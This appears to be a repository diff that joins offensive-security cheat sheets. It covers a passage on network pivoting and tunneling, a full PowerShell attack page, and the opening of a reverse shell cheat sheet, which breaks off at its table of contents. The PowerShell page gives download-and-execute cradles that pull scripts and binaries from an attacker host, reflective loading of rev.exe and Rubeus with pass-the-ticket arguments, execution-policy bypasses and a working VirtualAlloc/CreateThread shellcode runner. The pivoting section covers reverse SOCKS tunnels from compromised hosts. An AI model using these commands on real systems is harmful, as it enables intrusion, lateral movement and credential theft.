* [sshuttle](#sshuttle)
* [chisel](#chisel)
* [SharpChisel](#sharpchisel)
* [gost](#gost)
* [Rpivot](#rpivot)
* [RevSocks](#revsocks)
* [plink](#plink)
* [ngrok](#ngrok)
* [Capture a network trace with builtin tools](#capture-a-network-trace-with-builtin-tools)
* [Basic Pivoting Types](#basic-pivoting-types)
* [Listen - Listen](#listen---listen)
* [Listen - Connect](#listen---connect)
* [Connect - Connect](#connect---connect)
* [References](#references)
## SOCKS Compatibility Table
| SOCKS Version | TCP | UDP | IPv4 | IPv6 | Hostname |
| ------------- | :---: | :---: | :---: | :---: | :---: |
| SOCKS v4 | ✅ | ❌ | ✅ | ❌ | ❌ |
| SOCKS v4a | ✅ | ❌ | ✅ | ❌ | ✅ |
| SOCKS v5 | ✅ | ✅ | ✅ | ✅ | ✅ |
## Windows netsh Port Forwarding
```powershell
netsh interface portproxy add v4tov4 listenaddress=localaddress listenport=localport connectaddress=destaddress connectport=destport
netsh interface portproxy add v4tov4 listenport=3340 listenaddress=10.1.1.110 connectport=3389 connectaddress=10.1.1.110
# Forward the port 4545 for the reverse shell, and the 80 for the http server for example
netsh interface portproxy add v4tov4 listenport=4545 connectaddress=192.168.50.44 connectport=4545
netsh interface portproxy add v4tov4 listenport=80 connectaddress=192.168.50.44 connectport=80
# Correctly open the port on the machine
netsh advfirewall firewall add rule name="PortForwarding 80" dir=in action=allow protocol=TCP localport=80
netsh advfirewall firewall add rule name="PortForwarding 80" dir=out action=allow protocol=TCP localport=80
netsh advfirewall firewall add rule name="PortForwarding 4545" dir=in action=allow protocol=TCP localport=4545
netsh advfirewall firewall add rule name="PortForwarding 4545" dir=out action=allow protocol=TCP localport=4545
```
1. listenaddress is a local IP address waiting for a connection.
2. listenport local listening TCP port (the connection is waited on it).
3. connectaddress is a local or remote IP address (or DNS name) to which the incoming connection will be redirected.
4. connectport is a TCP port to which the connection from listenport is forwarded to.
## SSH
### SOCKS Proxy
```bash
ssh -D8080 [user]@[host]
ssh -N -f -D 9000 [user]@[host]
-f : ssh in background
-N : do not execute a remote command
```
Cool Tip : Konami SSH Port forwarding
```bash
[ENTER] + [~C]
-D 1090
```
### Local Port Forwarding
```bash
ssh -L [bindaddr]:[port]:[dsthost]:[dstport] [user]@[host]
```
### Remote Port Forwarding
```bash
ssh -R [bindaddr]:[port]:[localhost]:[localport] [user]@[host]
ssh -R 3389:10.1.1.224:3389 root@10.11.0.32
```
## Proxychains
**Config file**: /etc/proxychains.conf
```bash
[ProxyList]
socks4 localhost 8080
```
Set the SOCKS4 proxy then `proxychains nmap -sT 192.168.5.6`
## Graftcp
> A flexible tool for redirecting a given program's TCP traffic to SOCKS5 or HTTP proxy.
:warning: Same as proxychains, with another mechanism to "proxify" which allow Go applications.
```ps1
# https://github.com/hmgle/graftcp
# Create a SOCKS5, using Chisel or another tool and forward it through SSH
(attacker) $ ssh -fNT -i /tmp/id_rsa -L 1080:127.0.0.1:1080 root@IP_VPS
(vps) $ ./chisel server --tls-key ./key.pem --tls-cert ./cert.pem -p 8443 -reverse
(victim 1) $ ./chisel client --tls-skip-verify https://IP_VPS:8443 R:socks
# Run graftcp and specify the SOCKS5
(attacker) $ graftcp-local -listen :2233 -logfile /tmp/toto -loglevel 6 -socks5 127.0.0.1:1080
(attacker) $ graftcp ./nuclei -u http://172.16.1.24
```
Simple configuration file for graftcp
```py
# https://github.com/hmgle/graftcp/blob/master/local/example-graftcp-local.conf
## Listen address (default ":2233")
listen = :2233
loglevel = 1
## SOCKS5 address (default "127.0.0.1:1080")
socks5 = 127.0.0.1:1080
# socks5_username = SOCKS5USERNAME
# socks5_password = SOCKS5PASSWORD
## Set the mode for select a proxy (default "auto")
select_proxy_mode = auto
```
## Web SOCKS - reGeorg
[reGeorg](https://github.com/sensepost/reGeorg), the successor to reDuh, pwn a bastion webserver and create SOCKS proxies through the DMZ. Pivot and pwn.
Drop one of the following files on the server:
- tunnel.ashx
- tunnel.aspx
- tunnel.js
- tunnel.jsp
- tunnel.nosocket.php
- tunnel.php
- tunnel.tomcat.5.jsp
```python
python reGeorgSocksProxy.py -p 8080 -u http://compromised.host/shell.jsp # the socks proxy will be on port 8080
optional arguments:
-h, --help show this help message and exit
-l , --listen-on The default listening address
-p , --listen-port The default listening port
-r , --read-buff Local read buffer, max data to be sent per POST
-u , --url The url containing the tunnel script
-v , --verbose Verbose output[INFO|DEBUG]
```
## Web SOCKS - pivotnacci
[pivotnacci](https://github.com/blackarrowsec/pivotnacci), a tool to make socks connections through HTTP agents.
```powershell
pip3 install pivotnacci
pivotnacci https://domain.com/agent.php --password "s3cr3t"
pivotnacci https://domain.com/agent.php --polling-interval 2000
```
## Metasploit
```powershell
# Meterpreter list active port forwards
portfwd list
# Forwards 3389 (RDP) to 3389 on the compromised machine running the Meterpreter shell
portfwd add l 3389 p 3389 r target-host
portfwd add -l 88 -p 88 -r 127.0.0.1
portfwd add -L 0.0.0.0 -l 445 -r 192.168.57.102 -p 445
# Forwards 3389 (RDP) to 3389 on the compromised machine running the Meterpreter shell
portfwd delete l 3389 p 3389 r target-host
# Meterpreter delete all port forwards
portfwd flush
or
# Use Meterpreters autoroute script to add the route for specified subnet 192.168.15.0
run autoroute -s 192.168.15.0/24
use auxiliary/server/socks_proxy
set SRVPORT 9090
set VERSION 4a
# or
use auxiliary/server/socks4a # (deprecated)
# Meterpreter list all active routes
run autoroute -p
route #Meterpreter view available networks the compromised host can access
# Meterpreter add route for 192.168.14.0/24 via Session number.
route add 192.168.14.0 255.255.255.0 3
# Meterpreter delete route for 192.168.14.0/24 via Session number.
route delete 192.168.14.0 255.255.255.0 3
# Meterpreter delete all routes
route flush
```
## Empire
```powershell
(Empire) > socksproxyserver
(Empire) > use module management/invoke_socksproxy
(Empire) > set remoteHost 10.10.10.10
(Empire) > run
```
## sshuttle
Transparent proxy server that works as a poor man's VPN. Forwards over ssh.
* Doesn't require admin.
* Works with Linux and MacOS.
* Supports DNS tunneling.
```powershell
pacman -Sy sshuttle
apt-get install sshuttle
sshuttle -vvr user@10.10.10.10 10.1.1.0/24
sshuttle -vvr username@pivot_host 10.2.2.0/24
# using a private key
$ sshuttle -vvr root@10.10.10.10 10.1.1.0/24 -e "ssh -i ~/.ssh/id_rsa"
# -x == exclude some network to not transmit over the tunnel
# -x x.x.x.x.x/24
```
## chisel
```powershell
go get -v github.com/jpillora/chisel
# forward port 389 and 88 to hacker computer
user@hacker$ /opt/chisel/chisel server -p 8008 --reverse
user@victim$ .\chisel.exe client YOUR_IP:8008 R:88:127.0.0.1:88 R:389:localhost:389
# SOCKS
user@victim$ .\chisel.exe client YOUR_IP:8008 R:socks
```
### SharpChisel
A C# Wrapper of Chisel : https://github.com/shantanu561993/SharpChisel
```powershell
user@hacker$ ./chisel server -p 8080 --key "private" --auth "user:pass" --reverse --proxy "https://www.google.com"
================================================================
server : run the Server Component of chisel
-p 8080 : run server on port 8080
--key "private": use "private" string to seed the generation of a ECDSA public and private key pair
--auth "user:pass" : Creds required to connect to the server
--reverse: Allow clients to specify reverse port forwarding remotes in addition to normal remotes.
--proxy https://www.google.com : Specifies another HTTP server to proxy requests to when chisel receives a normal HTTP request. Useful for hiding chisel in plain sight.
user@victim$ SharpChisel.exe client --auth user:pass https://redacted.cloudfront.net R:1080:socks
```
## Ligolo
Ligolo : Reverse Tunneling made easy for pentesters, by pentesters
1. Build Ligolo
```powershell
# Get Ligolo and dependencies
cd `go env GOPATH`/src
git clone https://github.com/sysdream/ligolo
cd ligolo
make dep
# Generate self-signed TLS certificates (will be placed in the certs folder)
make certs TLS_HOST=example.com
make build-all
```
2. Use Ligolo
```powershell
# On your attack server.
./bin/localrelay_linux_amd64
# On the compromise host.
ligolo_windows_amd64.exe -relayserver LOCALRELAYSERVER:5555
```
## Gost
> Wiki English : https://docs.ginuerzh.xyz/gost/en/
```powershell
git clone https://github.com/ginuerzh/gost
cd gost/cmd/gost
go build
# Socks5 Proxy
Server side: gost -L=socks5://:1080
Client side: gost -L=:8080 -F=socks5://server_ip:1080?notls=true
# Local Port Forward
gost -L=tcp://:2222/192.168.1.1:22 [-F=..]
```
## Rpivot
Server (Attacker box)
```python
python server.py --proxy-port 1080 --server-port 9443 --server-ip 0.0.0.0
```
Client (Compromised box)
```python
python client.py --server-ip <ip> --server-port 9443
```
Through corporate proxy
```python
python client.py --server-ip [server ip] --server-port 9443 --ntlm-proxy-ip [proxy ip] \
--ntlm-proxy-port 8080 --domain CORP --username jdoe --password 1q2w3e
```
Passing the hash
```python
python client.py --server-ip [server ip] --server-port 9443 --ntlm-proxy-ip [proxy ip] \
--ntlm-proxy-port 8080 --domain CORP --username jdoe \
--hashes 986D46921DDE3E58E03656362614DEFE:50C189A98FF73B39AAD3B435B51404EE
```
## revsocks
```powershell
# Listen on the server and create a SOCKS 5 proxy on port 1080
user@VPS$ ./revsocks -listen :8443 -socks 127.0.0.1:1080 -pass Password1234
# Connect client to the server
user@PC$ ./revsocks -connect 10.10.10.10:8443 -pass Password1234
user@PC$ ./revsocks -connect 10.10.10.10:8443 -pass Password1234 -proxy proxy.domain.local:3128 -proxyauth Domain/userpame:userpass -useragent "Mozilla 5.0/IE Windows 10"
```
```powershell
# Build for Linux
git clone https://github.com/kost/revsocks
export GOPATH=~/go
go get github.com/hashicorp/yamux
go get github.com/armon/go-socks5
go get github.com/kost/go-ntlmssp
go build
go build -ldflags="-s -w" && upx --brute revsocks
# Build for Windows
go get github.com/hashicorp/yamux
go get github.com/armon/go-socks5
go get github.com/kost/go-ntlmssp
GOOS=windows GOARCH=amd64 go build -ldflags="-s -w"
go build -ldflags -H=windowsgui
upx revsocks
```
## plink
```powershell
# exposes the SMB port of the machine in the port 445 of the SSH Server
plink -l root -pw toor -R 445:127.0.0.1:445
# exposes the RDP port of the machine in the port 3390 of the SSH Server
plink -l root -pw toor ssh-server-ip -R 3390:127.0.0.1:3389
plink -l root -pw mypassword 192.168.18.84 -R
plink.exe -v -pw mypassword user@10.10.10.10 -L 6666:127.0.0.1:445
plink -R [Port to forward to on your VPS]:localhost:[Port to forward on your local machine] [VPS IP]
# redirects the Windows port 445 to Kali on port 22
plink -P 22 -l root -pw some_password -C -R 445:127.0.0.1:445 192.168.12.185
```
## ngrok
```powershell
# get the binary
wget https://bin.equinox.io/c/4VmDzA7iaHb/ngrok-stable-linux-amd64.zip
unzip ngrok-stable-linux-amd64.zip
# log into the service
./ngrok authtoken 3U[REDACTED_TOKEN]Hm
# deploy a port forwarding for 4433
./ngrok http 4433
./ngrok tcp 4433
```
## cloudflared
```bash
# Get the binary
wget https://bin.equinox.io/c/VdrWdbjqyF/cloudflared-stable-linux-amd64.tgz
tar xvzf cloudflared-stable-linux-amd64.tgz
# Expose accessible internal service to the internet
./cloudflared tunnel --url <protocol>://<host>:<port>
```
## Capture a network trace with builtin tools
* Windows (netsh)
```ps1
# start a capture use the netsh command.
netsh trace start capture=yes report=disabled tracefile=c:\trace.etl maxsize=16384
# stop the trace
netsh trace stop
# Event tracing can be also used across a reboots
netsh trace start capture=yes report=disabled persistent=yes tracefile=c:\trace.etl maxsize=16384
# To open the file in Wireshark you have to convert the etl file to the cap file format. Microsoft has written a convert for this task. Download the latest version.
etl2pcapng.exe c:\trace.etl c:\trace.pcapng
# Use filters
netsh trace start capture=yes report=disabled Ethernet.Type=IPv4 IPv4.Address=10.200.200.3 tracefile=c:\trace.etl maxsize=16384
```
* Linux (tcpdump)
```ps1
sudo apt-get install tcpdump
tcpdump -w 0001.pcap -i eth0
tcpdump -A -i eth0
# capture every TCP packet
tcpdump -i eth0 tcp
# capture everything on port 22
tcpdump -i eth0 port 22
```
## Basic Pivoting Types
| Type | Use Case |
| :------------- | :------------------------------------------ |
| Listen - Listen | Exposed asset, may not want to connect out. |
| Listen - Connect | Normal redirect. |
| Connect - Connect | Cant bind, so connect to bridge two hosts |
### Listen - Listen
| Type | Use Case |
| :------------- | :------------------------------------------ |
| ncat | `ncat -v -l -p 8080 -c "ncat -v -l -p 9090"`|
| socat | `socat -v tcp-listen:8080 tcp-listen:9090` |
| remote host 1 | `ncat localhost 8080 < file` |
| remote host 2 | `ncat localhost 9090 > newfile` |
### Listen - Connect
| Type | Use Case |
| :------------- | :------------------------------------------ |
| ncat | `ncat -l -v -p 8080 -c "ncat localhost 9090"` |
| socat | `socat -v tcp-listen:8080,reuseaddr tcp-connect:localhost:9090` |
| remote host 1 | `ncat localhost -p 8080 < file` |
| remote host 2 | `ncat -l -p 9090 > newfile` |
### Connect - Connect
| Type | Use Case |
| :------------- | :------------------------------------------ |
| ncat | `ncat localhost 8080 -c "ncat localhost 9090"` |
| socat | `socat -v tcp-connect:localhost:8080,reuseaddr tcp-connect:localhost:9090` |
| remote host 1 | `ncat -l -p 8080 < file` |
| remote host 2 | `ncat -l -p 9090 > newfile` |
## References
* [Port Forwarding in Windows - Windows OS Hub](http://woshub.com/port-forwarding-in-windows/)
* [Using the SSH "Konami Code" (SSH Control Sequences) - Jeff McJunkin](https://pen-testing.sans.org/blog/2015/11/10/protected-using-the-ssh-konami-code-ssh-control-sequences)
* [A Red Teamer's guide to pivoting- Mar 23, 2017 - Artem Kondratenko](https://artkond.com/2017/03/23/pivoting-guide/)
* [Pivoting Meterpreter](https://www.information-security.fr/pivoting-meterpreter/)
* 🇫🇷 [Etat de lart du pivoting réseau en 2019 - Oct 28,2019 - Alexandre ZANNI](https://cyberdefense.orange.com/fr/blog/etat-de-lart-du-pivoting-reseau-en-2019/) - 🇺🇸 [Overview of network pivoting and tunneling [2022 updated] - Alexandre ZANNI](https://blog.raw.pm/en/state-of-the-art-of-network-pivoting-in-2019/)
* [Red Team: Using SharpChisel to exfil internal network - Shantanu Khandelwal - Jun 8](https://medium.com/@shantanukhande/red-team-using-sharpchisel-to-exfil-internal-network-e1b07ed9b49)
* [Active Directory - hideandsec](https://hideandsec.sh/books/cheatsheets-82c/page/active-directory)
* [Windows: Capture a network trace with builtin tools (netsh) - February 22, 2021 Michael Albert](https://michlstechblog.info/blog/windows-capture-a-network-trace-with-builtin-tools-netsh/)

View File

@ -0,0 +1,333 @@
# Powershell
## Summary
- [Powershell](#powershell)
- [Summary](#summary)
- [Execution Policy](#execution-policy)
- [Encoded Commands](#encoded-commands)
- [Constrained Mode](#constrained-mode)
- [Encoded Commands](#encoded-commands)
- [Download file](#download-file)
- [Load Powershell scripts](#load-powershell-scripts)
- [Load C# assembly reflectively](#load-c-assembly-reflectively)
- [Call Win API using delegate functions with Reflection](#call-win-api-using-delegate-functions-with-reflection)
- [Resolve address functions](#resolve-address-functions)
- [DelegateType Reflection](#delegatetype-reflection)
- [Example with a simple shellcode runner](#example-with-a-simple-shellcode-runner)
- [Secure String to Plaintext](#secure-string-to-plaintext)
- [References](#references)
## Execution Policy
```ps1
powershell -EncodedCommand $encodedCommand
powershell -ep bypass ./PowerView.ps1
# Change execution policy
Set-Executionpolicy -Scope CurrentUser -ExecutionPolicy UnRestricted
Set-ExecutionPolicy Bypass -Scope Process
```
## Constrained Mode
```ps1
# Check if we are in a constrained mode
# Values could be: FullLanguage or ConstrainedLanguage
$ExecutionContext.SessionState.LanguageMode
## Bypass
powershell -version 2
```
## Encoded Commands
* Windows
```ps1
$command = 'IEX (New-Object Net.WebClient).DownloadString("http://10.10.10.10/PowerView.ps1")'
$bytes = [System.Text.Encoding]::Unicode.GetBytes($command)
$encodedCommand = [Convert]::ToBase64String($bytes)
```
* Linux: :warning: UTF-16LE encoding is required
```ps1
echo 'IEX (New-Object Net.WebClient).DownloadString("http://10.10.10.10/PowerView.ps1")' | iconv -t utf-16le | base64 -w 0
```
## Download file
```ps1
# Any version
(New-Object System.Net.WebClient).DownloadFile("http://10.10.10.10/PowerView.ps1", "C:\Windows\Temp\PowerView.ps1")
wget "http://10.10.10.10/taskkill.exe" -OutFile "C:\ProgramData\unifivideo\taskkill.exe"
Import-Module BitsTransfer; Start-BitsTransfer -Source $url -Destination $output
# Powershell 4+
IWR "http://10.10.10.10/binary.exe" -OutFile "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\binary.exe"
Invoke-WebRequest "http://10.10.10.10/binary.exe" -OutFile "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\binary.exe"
```
## Load Powershell scripts
```ps1
# Proxy-aware
IEX (New-Object Net.WebClient).DownloadString('http://10.10.10.10/PowerView.ps1')
echo IEX(New-Object Net.WebClient).DownloadString('http://10.10.10.10/PowerView.ps1') | powershell -noprofile -
powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://10.10.10.10/PowerView.ps1')|iex"
# Non-proxy aware
$h=new-object -com WinHttp.WinHttpRequest.5.1;$h.open('GET','http://10.10.10.10/PowerView.ps1',$false);$h.send();iex $h.responseText
```
## Load C# assembly reflectively
```powershell
# Download and run assembly without arguments
$data = (New-Object System.Net.WebClient).DownloadData('http://10.10.16.7/rev.exe')
$assem = [System.Reflection.Assembly]::Load($data)
[rev.Program]::Main()
# Download and run Rubeus, with arguments (make sure to split the args)
$data = (New-Object System.Net.WebClient).DownloadData('http://10.10.16.7/Rubeus.exe')
$assem = [System.Reflection.Assembly]::Load($data)
[Rubeus.Program]::Main("s4u /user:web01$ /rc4:1d77f43d9604e79e5626c6905705801e /impersonateuser:administrator /msdsspn:cifs/file01 /ptt".Split())
# Execute a specific method from an assembly (e.g. a DLL)
$data = (New-Object System.Net.WebClient).DownloadData('http://10.10.16.7/lib.dll')
$assem = [System.Reflection.Assembly]::Load($data)
$class = $assem.GetType("ClassLibrary1.Class1")
$method = $class.GetMethod("runner")
$method.Invoke(0, $null)
```
## Call Win API using delegate functions with Reflection
### Resolve address functions
To perform reflection we first need to obtain `GetModuleHandle` and `GetProcAdresse` to be able to lookup of Win32 API function addresses.
To retrieve those function we will need to find out if there are included inside the existing loaded Assemblies.
```powershell
# Retrieve all loaded Assemblies
$Assemblies = [AppDomain]::CurrentDomain.GetAssemblies()
Iterate over all the Assemblies, to retrieve all the Static and Unsafe Methods
$Assemblies |
ForEach-Object {
$_.GetTypes()|
ForEach-Object {
$_ | Get-Member -Static| Where-Object {
$_.TypeName.Contains('Unsafe')
}
} 2> $nul l
```
We want to find where the Assemblies are located, so we will use the statement `Location`. Then we will look for all the methods inside the Assembly `Microsoft.Win32.UnsafeNativeMethods`
TBN: `GetModuleHandle` and `GetProcAddress` are located in `C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\System.dll`
If we want to use those function we need in a first time get a reference to the .dll file we need the object to have the property `GlobalAssemblyCache` set (The Global Assembly Cache is essentially a list of all native and registered assemblies on Windows, which will allow us to filter out non-native assemblies). The second filter is to retrieve the `System.dll`.
```powershell
$systemdll = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object {
$_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll')
})
$unsafeObj = $systemdll.GetType('Microsoft.Win32.UnsafeNativeMethods')
```
To retrieve the method `GetModuleHandle`, we can use the method `GetMethod(<METHOD_NAME>)` to retrieve it.
`$GetModuleHandle = $unsafeObj.GetMethod('GetModuleHandle')`
Now we can use the `Invoke` method of our object `$GetModuleHandle` to get a reference of an unmanaged DLL.
Invoke takes two arguments and both are objects:
* The first argument is the object to invoke it on but since we use it on a static method we may set it to "$null".
* The second argument is an array consisting of the arguments for the method we are invoking (GetModuleHandle). Since the Win32 API only takes the name of the DLL as a string we only need to supply that.
`$GetModuleHandle.Invoke($null, @("user32.dll"))`
However, we want to use the same method to use the function `GetProcAddress`, it won't work due to the fact that our `System.dll` object retrieved contains multiple occurences of the method `GetProcAddress`. Therefore the internal method `GetMethod()` will throw an error `"Ambiguous match found."`.
Therefore we will use the method `GetMethods()` to get all the available methods and then iterate over them to retrieve only those we want.
```powershell
$unsafeObj.GetMethods() | ForEach-Object {If($_.Name -eq "GetProcAddress") {$_}}
```
If we want to get the `GetProcAddress` reference, we will construct an array to store our matching object and use the first entry.
```powershell
$unsafeObj.GetMethods() | ForEach-Object {If($_.Name -eq "GetProcAddress") {$tmp+=$_}}
$GetProcAddress = $tmp[0]
```
We need to take the first one, because the arguments type of the second one does not match with ours.
Alternatively we can use `GetMethod` function to precise the argument types that we want.
```powershell
$GetProcAddress = $unsafeObj.GetMethod('GetProcAddress',
[reflection.bindingflags]'Public,Static',
$null,
[System.Reflection.CallingConventions]::Any,
@([System.IntPtr], [string]),
$null);
```
cf: [https://learn.microsoft.com/en-us/dotnet/api/system.type.getmethod?view=net-7.0](https://learn.microsoft.com/en-us/dotnet/api/system.type.getmethod?view=net-7.0)
Now we have everything to resolve any function address we want.
```powershell
$user32 = $GetModuleHandle.Invoke($null, @("user32.dll"))
$tmp=@()
$unsafeObj.GetMethods() | ForEach-Object {If($_.Name -eq "GetProcAddress") {$tmp+=$_}}
$GetProcAddress = $tmp[0]
$GetProcAddress.Invoke($null, @($user32, "MessageBoxA"))
```
If we put everything in a function:
```powershell
function LookupFunc {
Param ($moduleName, $functionName)
$assem = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
$tmp=@()
$assem.GetMethods() | ForEach-Object {If($_.Name -eq "GetProcAddress") {$tmp+=$_}}
return $tmp[0].Invoke($null, @(($assem.GetMethod('GetModuleHandle')).Invoke($null, @($moduleName)), $functionName))
}
```
### DelegateType Reflection
To be able to use the function that we have retrieved the address, we need to pair the information about the number of arguments and their associated data types with the resolved function memory address. This is done through `DelegateType`.
The DelegateType Reflection consists in manually create an assembly in memory and populate it with content.
The first step is to create a new assembly with the class `AssemblyName` and assign it a name.
```powershell
$MyAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate')
```
Now we want to set permission on our Assembly. We need to set it to executable and to not be saved to the disk. For that the method `DefineDynamicAssembly` will be used.
```powershell
$Domain = [AppDomain]::CurrentDomain
$MyAssemblyBuilder = $Domain.DefineDynamicAssembly($MyAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run)
```
Now that everything is set, we can start creating content inside our assembly. First, we will need to create the main building block which is a Module. This can be done through the method `DefineDynamicModule`
The method need a custom name as the first argument and a boolean indicating if we want to include symbols or not.
```powershell
$MyModuleBuilder = $MyAssemblyBuilder.DefineDynamicModule('InMemoryModule', $false)
```
The next step consists by creating a custom type that will become our delegate type. It can be done with the method `DefineType`.
The arguments are:
* a custom name
* the attributes of the type
* the type it build on top of
```powershell
$MyTypeBuilder = $MyModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
```
Then we will need to set the prototype of our function.
First we need to use the method `DefineConstructor` to define a constructor. The method takes three arguments:
* the attributes of the constructor
* calling convention
* the parameter types of the constructor that will become the function prototype
```powershell
$MyConstructorBuilder = $MyTypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public',
[System.Reflection.CallingConventions]::Standard,
@([IntPtr], [String], [String], [int]))
```
Then we need to set some implementation flags with the method `SetImplementationFlags`.
```powershell
$MyConstructorBuilder.SetImplementationFlags('Runtime, Managed')
```
To be able to call our function, we need to define the `Invoke` method in our delegate type. For that the method `DefineMethod` allows us to do that.
The method takes four arguments:
* name of the method defined
* method attributes
* return type
* array of argument types
```powershell
$MyMethodBuilder = $MyTypeBuilder.DefineMethod('Invoke',
'Public, HideBySig, NewSlot, Virtual',
[int],
@([IntPtr], [String], [String], [int]))
```
If we put everything in a function:
```powershell
function Get-Delegate
{
Param (
[Parameter(Position = 0, Mandatory = $True)] [IntPtr] $funcAddr, # Function address
[Parameter(Position = 1, Mandatory = $True)] [Type[]] $argTypes, # array with the argument types
[Parameter(Position = 2)] [Type] $retType = [Void] # Return type
)
$type = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('QD')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).
DefineDynamicModule('QM', $false).
DefineType('QT', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
$type.DefineConstructor('RTSpecialName, HideBySig, Public',[System.Reflection.CallingConventions]::Standard, $argTypes).SetImplementationFlags('Runtime, Managed')
$type.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $retType, $argTypes).SetImplementationFlags('Runtime, Managed')
$delegate = $type.CreateType()
return [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($funcAddr, $delegate)
}
```
### Example with a simple shellcode runner
```powershell
# Create a Delegate function to be able to call the function that we have the address
function Get-Delegate
{
Param (
[Parameter(Position = 0, Mandatory = $True)] [IntPtr] $funcAddr, # Function address
[Parameter(Position = 1, Mandatory = $True)] [Type[]] $argTypes, # array with the argument types
[Parameter(Position = 2)] [Type] $retType = [Void] # Return type
)
$type = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('QD')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).
DefineDynamicModule('QM', $false).
DefineType('QT', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
$type.DefineConstructor('RTSpecialName, HideBySig, Public',[System.Reflection.CallingConventions]::Standard, $argTypes).SetImplementationFlags('Runtime, Managed')
$type.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $retType, $argTypes).SetImplementationFlags('Runtime, Managed')
$delegate = $type.CreateType()
return [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($funcAddr, $delegate)
}
# Allow to retrieve function address from a dll
function LookupFunc {
Param ($moduleName, $functionName)
$assem = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
$tmp=@()
$assem.GetMethods() | ForEach-Object {If($_.Name -eq "GetProcAddress") {$tmp+=$_}}
return $tmp[0].Invoke($null, @(($assem.GetMethod('GetModuleHandle')).Invoke($null, @($moduleName)), $functionName))
}
# Simple Shellcode runner using delegation
$VirtualAllocAddr = LookupFunc "Kernel32.dll" "VirtualAlloc"
$CreateThreadAddr = LookupFunc "Kernel32.dll" "CreateThread"
$WaitForSingleObjectAddr = LookupFunc "Kernel32.dll" "WaitForSingleObject"
$VirtualAlloc = Get-Delegate $VirtualAllocAddr @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])
$CreateThread = Get-Delegate $CreateThreadAddr @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr])
$WaitForSingleObject = Get-Delegate $WaitForSingleObjectAddr @([IntPtr], [Int32]) ([Int])
[Byte[]] $buf = 0xfc,0x48,0x83,0xe4,0xf0 ...
$mem = $VirtualAlloc.Invoke([IntPtr]::Zero, $buf.Length, 0x3000, 0x40)
[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $mem, $buf.Length)
$hThread = $CreateThread.Invoke([IntPtr]::Zero, 0, $mem, [IntPtr]::Zero, 0, [IntPtr]::Zero)
$WaitForSingleObject.Invoke($hThread, 0xFFFFFFFF)
```
## Secure String to Plaintext
```ps1
$pass = "01000000d08c9ddf0115d1118c7a00c04fc297eb01000000e4a07bc7aaeade47925c42c8be5870730000000002000000000003660000c000000010000000d792a6f34a55235c22da98b0c041ce7b0000000004800000a00000001000000065d20f0b4ba5367e53498f0209a3319420000000d4769a161c2794e19fcefff3e9c763bb3a8790deebf51fc51062843b5d52e40214000000ac62dab09371dc4dbfd763fea92b9d5444748692" | convertto-securestring
$user = "HTB\Tom"
$cred = New-Object System.management.Automation.PSCredential($user, $pass)
$cred.GetNetworkCredential() | fl
UserName : Tom
Password : 1ts-mag1c!!!
SecurePassword : System.Security.SecureString
Domain : HTB
```
## References
* [Windows & Active Directory Exploitation Cheat Sheet and Command Reference - @chvancooten](https://casvancooten.com/posts/2020/11/windows-active-directory-exploitation-cheat-sheet-and-command-reference/)
* [Basic PowerShell for Pentesters - HackTricks](https://book.hacktricks.xyz/windows/basic-powershell-for-pentesters)

View File

@ -0,0 +1,620 @@
# Reverse Shell Cheat Sheet
## Summary
* [Tools](#tools)
* [Reverse Shell](#reverse-shell)
* [Awk](#awk)
* [Automatic Reverse Shell Generator](#revshells)
* [Bash TCP](#bash-tcp)
* [Bash UDP](#bash-udp)
* [C](#c)
* [Dart](#dart)
* [Golang](#golang)
* [Groovy Alternative 1](#groovy-alternative-1)
* [Groovy](#groovy)
* [Java Alternative 1](#java-alternative-1)
* [Java Alternative 2](#java-alternative-2)
* [Java](#java)
* [Lua](#lua)
* [Ncat](#ncat)
* [Netcat OpenBsd](#netcat-openbsd)
* [Netcat BusyBox](#netcat-busybox)
* [Netcat Traditional](#netcat-traditional)
* [NodeJS](#nodejs)
* [OpenSSL](#openssl)
* [Perl](#perl)
* [PHP](#php)
* [Powershell](#powershell)
* [Python](#python)
* [Ruby](#ruby)
* [Rust](#rust)
* [Socat](#socat)
* [Telnet](#telnet)
* [War](#war)
* [Meterpreter Shell](#meterpreter-shell)
* [Windows Staged reverse TCP](#windows-staged-reverse-tcp)
* [Windows Stageless reverse TCP](#windows-stageless-reverse-tcp)
* [Linux Staged reverse TCP](#linux-staged-reverse-tcp)
* [Linux Stageless reverse TCP](#linux-stageless-reverse-tcp)
* [Other platforms](#other-platforms)
* [Spawn TTY Shell](#spawn-tty-shell)
* [References](#references)
## Tools
